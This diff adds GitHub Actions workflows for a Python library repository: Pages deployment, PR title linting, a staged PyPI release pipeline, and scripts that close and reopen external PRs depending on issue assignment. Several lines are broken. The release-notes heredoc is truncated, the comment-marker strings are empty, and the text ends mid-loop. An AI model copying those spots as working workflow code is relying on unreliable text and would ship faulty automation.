--- /dev/null +++ b/.github/workflows/deploy-redirects.yml @@ -0,0 +1,49 @@ +name: Deploy Redirects to GitHub Pages + +on: + push: + branches: + - main + paths: + - 'docs/**' + - '.github/workflows/deploy-redirects.yml' + workflow_dispatch: + +permissions: + contents: read + pages: write + id-token: write + +concurrency: + group: "pages" + cancel-in-progress: false + +jobs: + deploy: + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Setup Python + uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1 # v6.3.0 + with: + python-version: '3.11' + + - name: Generate redirect files + run: python docs/generate_redirects.py + + - name: Setup Pages + uses: actions/configure-pages@45bfe0192ca1faeb007ade9deae92b16b8254a0d # v6.0.0 + + - name: Upload artifact + uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9 # v5.0.0 + with: + path: 'docs/_site' + + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@cd2ce8fcbc39b97be8ca5fce6e763baed58fa128 # v5.0.0 diff --git a/.github/workflows/pr_lint.yml b/.github/workflows/pr_lint.yml new file mode 100644 index 0000000..5ea2363 --- /dev/null +++ b/.github/workflows/pr_lint.yml @@ -0,0 +1,47 @@ +name: PR Title Lint + +permissions: + pull-requests: read + +on: + pull_request: + types: [opened, edited, synchronize] + +jobs: + lint-pr-title: + runs-on: ubuntu-latest + steps: + - name: Validate PR Title + uses: amannn/action-semantic-pull-request@48f256284bd46cdaab1048c3721360e808335d50 # v6 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + types: | + feat + fix + docs + style + refactor + perf + test + build + ci + chore + revert + release + scopes: | + checkpoint + checkpoint-postgres + checkpoint-sqlite + cli + langgraph + prebuilt + scheduler-kafka + sdk-py + docs + ci + deps + deps-dev + requireScope: false + ignoreLabels: | + ignore-lint-pr-title diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..600c81d --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,331 @@ +name: release +run-name: Release ${{ inputs.working-directory }} by @${{ github.actor }} +on: + workflow_dispatch: + inputs: + working-directory: + required: true + type: string + default: "libs/langgraph" + +permissions: + contents: read + +env: + PYTHON_VERSION: "3.11" + +jobs: + build: + runs-on: ubuntu-latest + + outputs: + pkg-name: ${{ steps.check-version.outputs.pkg-name }} + short-pkg-name: ${{ steps.check-version.outputs.short-pkg-name }} + version: ${{ steps.check-version.outputs.version }} + tag: ${{ steps.check-version.outputs.tag }} + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up Python + uses: ./.github/actions/uv_setup + with: + python-version: ${{ env.PYTHON_VERSION }} + cache-suffix: "release" + enable-cache: false + working-directory: ${{ inputs.working-directory }} + + # We want to keep this build stage *separate* from the release stage, + # so that there's no sharing of permissions between them. + # The release stage has trusted publishing and GitHub repo contents write access, + # and we want to keep the scope of that access limited just to the release job. + # Otherwise, a malicious `build` step (e.g. via a compromised dependency) + # could get access to our GitHub or PyPI credentials. + # + # Per the trusted publishing GitHub Action: + # > It is strongly advised to separate jobs for building [...] + # > from the publish job. + # https://github.com/pypa/gh-action-pypi-publish#non-goals + - name: Build project for distribution + run: uv build + working-directory: ${{ inputs.working-directory }} + + - name: Upload build + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: dist + path: ${{ inputs.working-directory }}/dist/ + + - name: Check Version + id: check-version + shell: bash + working-directory: ${{ inputs.working-directory }} + run: | + PKG_NAME=$(grep -m 1 "^name = " pyproject.toml | cut -d '"' -f 2) + if grep -q 'dynamic.*=.*\[.*"version".*\]' pyproject.toml; then + # handle dynamic versioning + DIR_NAME=$(echo "$PKG_NAME" | tr '-' '_') + VERSION=$(grep -m 1 '^__version__' "${DIR_NAME}/__init__.py" | cut -d '"' -f 2) + else + VERSION=$(grep -m 1 "^version = " pyproject.toml | cut -d '"' -f 2) + fi + SHORT_PKG_NAME="$(echo "$PKG_NAME" | sed -e 's/langgraph//g' -e 's/-//g')" + if [ -z $SHORT_PKG_NAME ]; then + TAG="$VERSION" + else + TAG="${SHORT_PKG_NAME}==${VERSION}" + fi + echo pkg-name="$PKG_NAME" >> $GITHUB_OUTPUT + echo short-pkg-name="$SHORT_PKG_NAME" >> $GITHUB_OUTPUT + echo version="$VERSION" >> $GITHUB_OUTPUT + echo tag="$TAG" >> $GITHUB_OUTPUT + + release-notes: + needs: + - build + runs-on: ubuntu-latest + outputs: + release-body: ${{ steps.generate-release-body.outputs.release-body }} + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + with: + repository: langchain-ai/langgraph + path: langgraph + sparse-checkout: | # this only grabs files for relevant dir + ${{ inputs.working-directory }} + ref: main # this scopes to just master branch + fetch-depth: 0 # this fetches entire commit history + - name: Check Tags + id: check-tags + shell: bash + working-directory: langgraph/${{ inputs.working-directory }} + env: + PKG_NAME: ${{ needs.build.outputs.pkg-name }} + SHORT_PKG_NAME: ${{ needs.build.outputs.short-pkg-name }} + VERSION: ${{ needs.build.outputs.version }} + TAG: ${{ needs.build.outputs.tag }} + run: | + if [ -z $SHORT_PKG_NAME ]; then + REGEX="^\\d+\\.\\d+\\.\\d+((a|b|rc)\\d+)?\$" + else + REGEX="^$SHORT_PKG_NAME==\\d+\\.\\d+\\.\\d+((a|b|rc)\\d+)?\$" + fi + echo $REGEX + PREV_TAG=$(git tag --sort=-creatordate | grep -P $REGEX | head -1 || echo "") + echo $PREV_TAG + if [ "$TAG" == "$PREV_TAG" ]; then + echo "No new version to release" + exit 1 + fi + echo prev-tag="$PREV_TAG" >> $GITHUB_OUTPUT + - name: Generate release body + id: generate-release-body + working-directory: langgraph + env: + WORKING_DIR: ${{ inputs.working-directory }} + PKG_NAME: ${{ needs.build.outputs.pkg-name }} + TAG: ${{ needs.build.outputs.tag }} + PREV_TAG: ${{ steps.check-tags.outputs.prev-tag }} + run: | + { + echo 'release-body<> "$GITHUB_OUTPUT" + + test-pypi-publish: + needs: + - build + - release-notes + permissions: + contents: read + id-token: write + uses: ./.github/workflows/_test_release.yml + with: + working-directory: ${{ inputs.working-directory }} + secrets: inherit + + pre-release-checks: + needs: + - build + - release-notes + - test-pypi-publish + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + # We explicitly *don't* set up caching here. This ensures our tests are + # maximally sensitive to catching breakage. + # + # For example, here's a way that caching can cause a falsely-passing test: + # - Make the langchain package manifest no longer list a dependency package + # as a requirement. This means it won't be installed by `pip install`, + # and attempting to use it would cause a crash. + # - That dependency used to be required, so it may have been cached. + # When restoring the venv packages from cache, that dependency gets included. + # - Tests pass, because the dependency is present even though it wasn't specified. + # - The package is published, and it breaks on the missing dependency when + # used in the real world. + + - name: Set up Python + uses: ./.github/actions/uv_setup + with: + python-version: ${{ env.PYTHON_VERSION }} + enable-cache: false + working-directory: ${{ inputs.working-directory }} + + - name: Import published package + shell: bash + working-directory: ${{ inputs.working-directory }} + env: + PKG_NAME: ${{ needs.build.outputs.pkg-name }} + VERSION: ${{ needs.build.outputs.version }} + # Here we use: + # - The default regular PyPI index as the *primary* index, meaning + # that it takes priority (https://pypi.org/simple) + # - The test PyPI index as an extra index, so that any dependencies that + # are not found on test PyPI can be resolved and installed anyway. + # (https://test.pypi.org/simple). This will include the PKG_NAME==VERSION + # package because VERSION will not have been uploaded to regular PyPI yet. + # - attempt install again after 5 seconds if it fails because there is + # sometimes a delay in availability on test pypi + run: | + uv run pip install \ + --extra-index-url https://test.pypi.org/simple/ \ + "$PKG_NAME==$VERSION" || \ + ( \ + sleep 5 && \ + uv run pip install \ + --extra-index-url https://test.pypi.org/simple/ \ + "$PKG_NAME==$VERSION" \ + ) + + if [[ "$PKG_NAME" == *prebuilt* ]]; then + uv run pip install langgraph + fi + + if [[ "$PKG_NAME" == *checkpoint* || "$PKG_NAME" == *prebuilt* ]]; then + # since checkpoint packages are namespace packages, import them with . convention + # i.e. import langgraph.checkpoint or langgraph.checkpoint.sqlite + IMPORT_NAME="$(echo "$PKG_NAME" | sed s/-/./g)" + else + # Replace all dashes in the package name with underscores, + # since that's how Python imports packages with dashes in the name. + IMPORT_NAME="$(echo "$PKG_NAME" | sed s/-/_/g)" + fi + + uv run python -c "import $IMPORT_NAME; print(dir($IMPORT_NAME))" + + - name: Import test dependencies + run: uv sync --group test + working-directory: ${{ inputs.working-directory }} + + # Overwrite the local version of the package with the test PyPI version. + - name: Import published package (again) + working-directory: ${{ inputs.working-directory }} + shell: bash + env: + PKG_NAME: ${{ needs.build.outputs.pkg-name }} + VERSION: ${{ needs.build.outputs.version }} + run: | + uv run pip install \ + --extra-index-url https://test.pypi.org/simple/ \ + "$PKG_NAME==$VERSION" + + - name: Run unit tests + run: make test + working-directory: ${{ inputs.working-directory }} + + publish: + needs: + - build + - release-notes + - test-pypi-publish + - pre-release-checks + runs-on: ubuntu-latest + permissions: + # This permission is used for trusted publishing: + # https://blog.pypi.org/posts/2023-04-20-introducing-trusted-publishers/ + # + # Trusted publishing has to also be configured on PyPI for each package: + # https://docs.pypi.org/trusted-publishers/adding-a-publisher/ + id-token: write + + defaults: + run: + working-directory: ${{ inputs.working-directory }} + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up Python + uses: ./.github/actions/uv_setup + with: + python-version: ${{ env.PYTHON_VERSION }} + cache-suffix: "release" + enable-cache: false + working-directory: ${{ inputs.working-directory }} + + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: dist + path: ${{ inputs.working-directory }}/dist/ + + - name: Publish package distributions to PyPI + uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # release/v1 + with: + packages-dir: ${{ inputs.working-directory }}/dist/ + verbose: true + print-hash: true + # Temp workaround since attestations are on by default as of gh-action-pypi-publish v1.11.0 + attestations: false + + mark-release: + needs: + - build + - release-notes + - test-pypi-publish + - pre-release-checks + - publish + runs-on: ubuntu-latest + permissions: + # This permission is needed by `ncipollo/release-action` to + # create the GitHub release. + contents: write + + defaults: + run: + working-directory: ${{ inputs.working-directory }} + + steps: + - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0 # v7.0.0 + + - name: Set up Python + uses: ./.github/actions/uv_setup + with: + python-version: ${{ env.PYTHON_VERSION }} + cache-suffix: "release" + enable-cache: false + working-directory: ${{ inputs.working-directory }} + + - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: dist + path: ${{ inputs.working-directory }}/dist/ + + - name: Create Tag + uses: ncipollo/release-action@339a81892b84b4eeb0f6e744e4574d79d0d9b8dd # v1 + with: + artifacts: "dist/*" + token: ${{ secrets.GITHUB_TOKEN }} + generateReleaseNotes: false + tag: ${{needs.build.outputs.tag}} + name: ${{ needs.build.outputs.pkg-name }}==${{ needs.build.outputs.version }} + body: ${{ needs.release-notes.outputs.release-body }} + commit: ${{ github.sha }} diff --git a/.github/workflows/reopen_on_assignment.yml b/.github/workflows/reopen_on_assignment.yml new file mode 100644 index 0000000..a27bae1 --- /dev/null +++ b/.github/workflows/reopen_on_assignment.yml @@ -0,0 +1,195 @@ +# Reopen PRs that were auto-closed by require_issue_link.yml when the +# contributor was not assigned to the linked issue. When a maintainer +# assigns the contributor to the issue, this workflow finds matching +# closed PRs, verifies the issue link, and reopens them. +# +# Uses the default GITHUB_TOKEN (not a PAT or app token) so that the +# reopen and label-removal events do NOT re-trigger other workflows. +# GitHub suppresses events created by the default GITHUB_TOKEN within +# workflow runs to prevent infinite loops. + +name: Reopen PR on Issue Assignment + +on: + issues: + types: [assigned] + +permissions: + contents: read + +jobs: + reopen-linked-prs: + runs-on: ubuntu-latest + permissions: + actions: write + pull-requests: write + + steps: + - name: Find and reopen matching PRs + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const { owner, repo } = context.repo; + const issueNumber = context.payload.issue.number; + const assignee = context.payload.assignee.login; + + console.log( + `Issue #${issueNumber} assigned to ${assignee} — searching for closed PRs to reopen`, + ); + + const q = [ + `is:pr`, + `is:closed`, + `author:${assignee}`, + `label:missing-issue-link`, + `repo:${owner}/${repo}`, + ].join(' '); + + let data; + try { + ({ data } = await github.rest.search.issuesAndPullRequests({ + q, + per_page: 30, + })); + } catch (e) { + throw new Error( + `Failed to search for closed PRs to reopen after assigning ${assignee} ` + + `to #${issueNumber} (HTTP ${e.status ?? 'unknown'}): ${e.message}`, + ); + } + + if (data.total_count === 0) { + console.log('No matching closed PRs found'); + return; + } + + console.log(`Found ${data.total_count} candidate PR(s)`); + + // Must stay in sync with the identical pattern in require_issue_link.yml + const pattern = /(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s*#(\d+)/gi; + + for (const item of data.items) { + const prNumber = item.number; + const body = item.body || ''; + const matches = [...body.matchAll(pattern)]; + const referencedIssues = matches.map(m => parseInt(m[1], 10)); + + if (!referencedIssues.includes(issueNumber)) { + console.log(`PR #${prNumber} does not reference #${issueNumber} — skipping`); + continue; + } + + // Skip if already bypassed + const labels = item.labels.map(l => l.name); + if (labels.includes('bypass-issue-check')) { + console.log(`PR #${prNumber} already has bypass-issue-check — skipping`); + continue; + } + + // Reopen first, remove label second — a closed PR that still has + // missing-issue-link is recoverable; a closed PR with the label + // stripped is invisible to both workflows. + try { + await github.rest.pulls.update({ + owner, + repo, + pull_number: prNumber, + state: 'open', + }); + console.log(`Reopened PR #${prNumber}`); + } catch (e) { + if (e.status === 422) { + // Head branch deleted — PR is unrecoverable. Notify the + // contributor so they know to open a new PR. + core.warning(`Cannot reopen PR #${prNumber}: head branch was likely deleted`); + try { + await github.rest.issues.createComment({ + owner, + repo, + issue_number: prNumber, + body: + `You have been assigned to #${issueNumber}, but this PR could not be ` + + `reopened because the head branch has been deleted. Please open a new ` + + `PR referencing the issue.`, + }); + } catch (commentErr) { + core.warning( + `Also failed to post comment on PR #${prNumber}: ${commentErr.message}`, + ); + } + continue; + } + // Transient errors (rate limit, 5xx) should fail the job so + // the label is NOT removed and the run can be retried. + throw e; + } + + // Remove missing-issue-link label only after successful reopen + try { + await github.rest.issues.removeLabel({ + owner, + repo, + issue_number: prNumber, + name: 'missing-issue-link', + }); + console.log(`Removed missing-issue-link from PR #${prNumber}`); + } catch (e) { + if (e.status !== 404) throw e; + } + + // Minimize stale enforcement comment (best-effort; + // sync w/ require_issue_link.yml minimize blocks) + try { + const marker = ''; + const comments = await github.paginate( + github.rest.issues.listComments, + { owner, repo, issue_number: prNumber, per_page: 100 }, + ); + const stale = comments.find(c => c.body && c.body.includes(marker)); + if (stale) { + await github.graphql(` + mutation($id: ID!) { + minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) { + minimizedComment { isMinimized } + } + } + `, { id: stale.node_id }); + console.log(`Minimized stale enforcement comment ${stale.id} as outdated`); + } + } catch (e) { + core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`); + } + + // Re-run the failed require_issue_link check so it picks up the + // new assignment. The re-run uses the original event payload but + // fetches live issue data, so the assignment check will pass. + // + // Limitation: we look up runs by the PR's current head SHA. If the + // contributor pushed new commits while the PR was closed, head.sha + // won't match the SHA of the original failed run and the query will + // return 0 results. This is acceptable because any push after reopen + // triggers a fresh require_issue_link run against the new SHA. + try { + const { data: pr } = await github.rest.pulls.get({ + owner, repo, pull_number: prNumber, + }); + const { data: runs } = await github.rest.actions.listWorkflowRuns({ + owner, repo, + workflow_id: 'require_issue_link.yml', + head_sha: pr.head.sha, + status: 'failure', + per_page: 1, + }); + if (runs.workflow_runs.length > 0) { + await github.rest.actions.reRunWorkflowFailedJobs({ + owner, repo, + run_id: runs.workflow_runs[0].id, + }); + console.log(`Re-ran failed require_issue_link run ${runs.workflow_runs[0].id} for PR #${prNumber}`); + } else { + console.log(`No failed require_issue_link runs found for PR #${prNumber} — skipping re-run`); + } + } catch (e) { + core.warning(`Could not re-run require_issue_link check for PR #${prNumber} (HTTP ${e.status ?? 'unknown'}): ${e.message}`); + } + } diff --git a/.github/workflows/require_issue_link.yml b/.github/workflows/require_issue_link.yml new file mode 100644 index 0000000..492afdd --- /dev/null +++ b/.github/workflows/require_issue_link.yml @@ -0,0 +1,467 @@ +# Require external PRs to reference an approved issue (e.g. Fixes #NNN) and +# the PR author to be assigned to that issue. On failure the PR is +# labeled "missing-issue-link", commented on, and closed. +# +# Maintainer override: an org member can reopen the PR or remove +# "missing-issue-link" — both add "bypass-issue-check" and reopen. +# +# Dependency: tag-external-prs.yml must apply the "external" label +# first. This workflow does NOT trigger on "opened" (new PRs have no labels +# yet, so the gate would always skip). + +name: Require Issue Link + +on: + pull_request_target: + # NEVER CHECK OUT UNTRUSTED CODE FROM A PR's HEAD IN A pull_request_target JOB. + # Doing so would allow attackers to execute arbitrary code in the context of your repository. + types: [edited, reopened, labeled, unlabeled] + +# ────────────────────────────────────────────────────────────────────────────── +# Enforcement gate: set to 'true' to activate the issue link requirement. +# When 'false', the workflow still runs the check logic (useful for dry-run +# visibility) but will NOT label, comment, close, or fail PRs. +# ────────────────────────────────────────────────────────────────────────────── +env: + ENFORCE_ISSUE_LINK: "true" + +permissions: + contents: read + +jobs: + check-issue-link: + # Run when the "external" label is added, on edit/reopen if already labeled, + # or when "missing-issue-link" is removed (triggers maintainer override check). + # Skip entirely when the PR already carries "trusted-contributor" or + # "bypass-issue-check". + if: >- + !contains(github.event.pull_request.labels.*.name, 'trusted-contributor') && + !contains(github.event.pull_request.labels.*.name, 'bypass-issue-check') && + ( + (github.event.action == 'labeled' && github.event.label.name == 'external') || + (github.event.action == 'unlabeled' && github.event.label.name == 'missing-issue-link' && contains(github.event.pull_request.labels.*.name, 'external')) || + (github.event.action != 'labeled' && github.event.action != 'unlabeled' && contains(github.event.pull_request.labels.*.name, 'external')) + ) + runs-on: ubuntu-latest + permissions: + actions: write + pull-requests: write + + steps: + - name: Check for issue link and assignee + id: check-link + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const { owner, repo } = context.repo; + const prNumber = context.payload.pull_request.number; + const action = context.payload.action; + + // ── Helper: ensure a label exists, then add it to the PR ──────── + async function ensureAndAddLabel(labelName, color) { + try { + await github.rest.issues.getLabel({ owner, repo, name: labelName }); + } catch (e) { + if (e.status !== 404) throw e; + try { + await github.rest.issues.createLabel({ owner, repo, name: labelName, color }); + } catch (createErr) { + // 422 = label was created by a concurrent run between our + // GET and POST — safe to ignore. + if (createErr.status !== 422) throw createErr; + } + } + await github.rest.issues.addLabels({ + owner, repo, issue_number: prNumber, labels: [labelName], + }); + } + + // ── Helper: check if the user who triggered this event (reopened + // the PR / removed the label) has write+ access on the repo ─── + // Uses the repo collaborator permission endpoint instead of the + // org membership endpoint. The org endpoint requires the caller + // to be an org member, which GITHUB_TOKEN (an app installation + // token) never is — so it always returns 403. + async function senderIsOrgMember() { + const sender = context.payload.sender?.login; + if (!sender) { + throw new Error('Event has no sender — cannot check permissions'); + } + try { + const { data } = await github.rest.repos.getCollaboratorPermissionLevel({ + owner, repo, username: sender, + }); + const perm = data.permission; + if (['admin', 'maintain', 'write'].includes(perm)) { + console.log(`${sender} has ${perm} permission — treating as maintainer`); + return { isMember: true, login: sender }; + } + console.log(`${sender} has ${perm} permission — not a maintainer`); + return { isMember: false, login: sender }; + } catch (e) { + if (e.status === 404) { + console.log(`Cannot check permissions for ${sender} — treating as non-maintainer`); + return { isMember: false, login: sender }; + } + const status = e.status ?? 'unknown'; + throw new Error( + `Permission check failed for ${sender} (HTTP ${status}): ${e.message}`, + ); + } + } + + // ── Helper: apply maintainer bypass (shared by both override paths) ── + async function applyMaintainerBypass(reason) { + console.log(reason); + + // Remove missing-issue-link if present + try { + await github.rest.issues.removeLabel({ + owner, repo, issue_number: prNumber, name: 'missing-issue-link', + }); + } catch (e) { + if (e.status !== 404) throw e; + } + + // Reopen before adding bypass label — a failed reopen is more + // actionable than a closed PR with a bypass label stuck on it. + if (context.payload.pull_request.state === 'closed') { + try { + await github.rest.pulls.update({ + owner, repo, pull_number: prNumber, state: 'open', + }); + console.log(`Reopened PR #${prNumber}`); + } catch (e) { + // 422 if head branch deleted; 403 if permissions insufficient. + // Bypass labels still apply — maintainer can reopen manually. + core.warning( + `Could not reopen PR #${prNumber} (HTTP ${e.status ?? 'unknown'}): ${e.message}. ` + + `Bypass labels were applied — a maintainer may need to reopen manually.`, + ); + } + } + + // Add bypass-issue-check so future triggers skip enforcement + await ensureAndAddLabel('bypass-issue-check', '0e8a16'); + + // Minimize stale enforcement comment (best-effort; must not + // abort bypass — sync w/ reopen_on_assignment.yml & step below) + try { + const marker = ''; + const comments = await github.paginate( + github.rest.issues.listComments, + { owner, repo, issue_number: prNumber, per_page: 100 }, + ); + const stale = comments.find(c => c.body && c.body.includes(marker)); + if (stale) { + await github.graphql(` + mutation($id: ID!) { + minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) { + minimizedComment { isMinimized } + } + } + `, { id: stale.node_id }); + console.log(`Minimized stale enforcement comment ${stale.id} as outdated`); + } + } catch (e) { + core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`); + } + + core.setOutput('has-link', 'true'); + core.setOutput('is-assigned', 'true'); + } + + // ── Maintainer override: removed "missing-issue-link" label ───── + if (action === 'unlabeled') { + const { isMember, login } = await senderIsOrgMember(); + if (isMember) { + await applyMaintainerBypass( + `Maintainer ${login} removed missing-issue-link from PR #${prNumber} — bypassing enforcement`, + ); + return; + } + // Non-member removed the label — re-add it defensively and + // set failure outputs so downstream steps (comment, close) fire. + // NOTE: addLabels fires a "labeled" event, but the job-level gate + // only matches labeled events for "external", so no re-trigger. + console.log(`Non-member ${login} removed missing-issue-link — re-adding`); + try { + await ensureAndAddLabel('missing-issue-link', 'b76e79'); + } catch (e) { + core.warning( + `Failed to re-add missing-issue-link (HTTP ${e.status ?? 'unknown'}): ${e.message}. ` + + `Downstream step will retry.`, + ); + } + core.setOutput('has-link', 'false'); + core.setOutput('is-assigned', 'false'); + return; + } + + // ── Maintainer override: reopened PR with "missing-issue-link" ── + const prLabels = context.payload.pull_request.labels.map(l => l.name); + if (action === 'reopened' && prLabels.includes('missing-issue-link')) { + const { isMember, login } = await senderIsOrgMember(); + if (isMember) { + await applyMaintainerBypass( + `Maintainer ${login} reopened PR #${prNumber} — bypassing enforcement`, + ); + return; + } + console.log(`Non-member ${login} reopened PR — proceeding with check`); + } + + // ── Fetch live labels (race guard) ────────────────────────────── + const { data: liveLabels } = await github.rest.issues.listLabelsOnIssue({ + owner, repo, issue_number: prNumber, + }); + const liveNames = liveLabels.map(l => l.name); + if (liveNames.includes('trusted-contributor') || liveNames.includes('bypass-issue-check')) { + console.log('PR has trusted-contributor or bypass-issue-check label — bypassing'); + core.setOutput('has-link', 'true'); + core.setOutput('is-assigned', 'true'); + return; + } + + const body = context.payload.pull_request.body || ''; + const pattern = /(?:close[sd]?|fix(?:e[sd])?|resolve[sd]?)\s*#(\d+)/gi; + const matches = [...body.matchAll(pattern)]; + + if (matches.length === 0) { + console.log('No issue link found in PR body'); + core.setOutput('has-link', 'false'); + core.setOutput('is-assigned', 'false'); + return; + } + + const issues = matches.map(m => `#${m[1]}`).join(', '); + console.log(`Found issue link(s): ${issues}`); + core.setOutput('has-link', 'true'); + + // Check whether the PR author is assigned to at least one linked issue + const prAuthor = context.payload.pull_request.user.login; + const MAX_ISSUES = 5; + const allIssueNumbers = [...new Set(matches.map(m => parseInt(m[1], 10)))]; + const issueNumbers = allIssueNumbers.slice(0, MAX_ISSUES); + if (allIssueNumbers.length > MAX_ISSUES) { + core.warning( + `PR references ${allIssueNumbers.length} issues — only checking the first ${MAX_ISSUES}`, + ); + } + + let assignedToAny = false; + for (const num of issueNumbers) { + try { + const { data: issue } = await github.rest.issues.get({ + owner, repo, issue_number: num, + }); + const assignees = issue.assignees.map(a => a.login.toLowerCase()); + if (assignees.includes(prAuthor.toLowerCase())) { + console.log(`PR author "${prAuthor}" is assigned to #${num}`); + assignedToAny = true; + break; + } else { + console.log(`PR author "${prAuthor}" is NOT assigned to #${num} (assignees: ${assignees.join(', ') || 'none'})`); + } + } catch (error) { + if (error.status === 404) { + console.log(`Issue #${num} not found — skipping`); + } else { + // Non-404 errors (rate limit, server error) must not be + // silently skipped — they could cause false enforcement + // (closing a legitimate PR whose assignment can't be verified). + throw new Error( + `Cannot verify assignee for issue #${num} (${error.status}): ${error.message}`, + ); + } + } + } + + core.setOutput('is-assigned', assignedToAny ? 'true' : 'false'); + + - name: Add missing-issue-link label + if: >- + env.ENFORCE_ISSUE_LINK == 'true' && + (steps.check-link.outputs.has-link != 'true' || steps.check-link.outputs.is-assigned != 'true') + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const { owner, repo } = context.repo; + const prNumber = context.payload.pull_request.number; + const labelName = 'missing-issue-link'; + + // Ensure the label exists (no checkout/shared helper available) + try { + await github.rest.issues.getLabel({ owner, repo, name: labelName }); + } catch (e) { + if (e.status !== 404) throw e; + try { + await github.rest.issues.createLabel({ + owner, repo, name: labelName, color: 'b76e79', + }); + } catch (createErr) { + if (createErr.status !== 422) throw createErr; + } + } + + await github.rest.issues.addLabels({ + owner, repo, issue_number: prNumber, labels: [labelName], + }); + + - name: Remove missing-issue-link label and reopen PR + if: >- + env.ENFORCE_ISSUE_LINK == 'true' && + steps.check-link.outputs.has-link == 'true' && steps.check-link.outputs.is-assigned == 'true' + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const { owner, repo } = context.repo; + const prNumber = context.payload.pull_request.number; + try { + await github.rest.issues.removeLabel({ + owner, repo, issue_number: prNumber, name: 'missing-issue-link', + }); + } catch (error) { + if (error.status !== 404) throw error; + } + + // Reopen if this workflow previously closed the PR. We check the + // event payload labels (not live labels) because we already removed + // missing-issue-link above; the payload still reflects pre-step state. + const labels = context.payload.pull_request.labels.map(l => l.name); + if (context.payload.pull_request.state === 'closed' && labels.includes('missing-issue-link')) { + await github.rest.pulls.update({ + owner, + repo, + pull_number: prNumber, + state: 'open', + }); + console.log(`Reopened PR #${prNumber}`); + } + + // Minimize stale enforcement comment (best-effort; + // sync w/ applyMaintainerBypass above & reopen_on_assignment.yml) + try { + const marker = ''; + const comments = await github.paginate( + github.rest.issues.listComments, + { owner, repo, issue_number: prNumber, per_page: 100 }, + ); + const stale = comments.find(c => c.body && c.body.includes(marker)); + if (stale) { + await github.graphql(` + mutation($id: ID!) { + minimizeComment(input: {subjectId: $id, classifier: OUTDATED}) { + minimizedComment { isMinimized } + } + } + `, { id: stale.node_id }); + console.log(`Minimized stale enforcement comment ${stale.id} as outdated`); + } + } catch (e) { + core.warning(`Could not minimize stale comment on PR #${prNumber}: ${e.message}`); + } + + - name: Post comment, close PR, and fail + if: >- + env.ENFORCE_ISSUE_LINK == 'true' && + (steps.check-link.outputs.has-link != 'true' || steps.check-link.outputs.is-assigned != 'true') + uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0 + with: + script: | + const { owner, repo } = context.repo; + const prNumber = context.payload.pull_request.number; + const hasLink = '${{ steps.check-link.outputs.has-link }}' === 'true'; + const isAssigned = '${{ steps.check-link.outputs.is-assigned }}' === 'true'; + const marker = ''; + + let lines; + if (!hasLink) { + lines = [ + marker, + '**This PR has been automatically closed** because it does not link to an approved issue.', + '', + 'All external contributions must reference an approved issue or discussion. Please:', + '1. Find or [open an issue](https://github.com/' + owner + '/' + repo + '/issues/new/choose) describing the change', + '2. Wait for a maintainer to approve and assign you', + '3. Add `Fixes #`, `Closes #`, or `Resolves #` to your PR description and the PR will be reopened automatically', + '', + '*Maintainers: reopen this PR or remove the `missing-issue-link` label to bypass this check.*', + ]; + } else { + lines = [ + marker, + '**This PR has been automatically closed** because you are not assigned to the linked issue.', + '', + 'External contributors must be assigned to an issue before opening a PR for it. Please:', + '1. Comment on the linked issue to request assignment from a maintainer', + '2. Once assigned, your PR will be reopened automatically', + '', + '*Maintainers: reopen this PR or remove the `missing-issue-link` label to bypass this check.*', + ]; + } + + const body = lines.join('\n'); + + // Deduplicate: check for existing comment with the marker + const comments = await github.paginate( + github.rest.issues.listComments, + { owner, repo, issue_number: prNumber, per_page: 100 }, + ); + const existing = comments.find(c => c.body && c.body.includes(marker)); + + if (!existing) { + await github.rest.issues.createComment({ + owner, + repo, + issue_number: prNumber, + body, + }); + console.log('Posted requirement comment'); + } else if (existing.body !== body) { + await github.rest.issues.updateComment({ + owner, + repo, + comment_id: existing.id, + body, + }); + console.log('Updated existing comment with new message'); + } else { + console.log('Comment already exists — skipping'); + } + + // Close the PR + if (context.payload.pull_request.state === 'open') { + await github.rest.pulls.update({ + owner, + repo, + pull_number: prNumber, + state: 'closed', + }); + console.log(`Closed PR #${prNumber}`); + } + + // Cancel all other in-progress and queued workflow runs for this PR + const headSha = context.payload.pull_request.head.sha; + for (const status of ['in_progress', 'queued']) { + const runs = await github.paginate( + github.rest.actions.listWorkflowRunsForRepo, + { owner, repo, head_sha: headSha, status, per_page: 100 }, + ); + for (const run of runs) { + if (run.id === context.runId) continue; 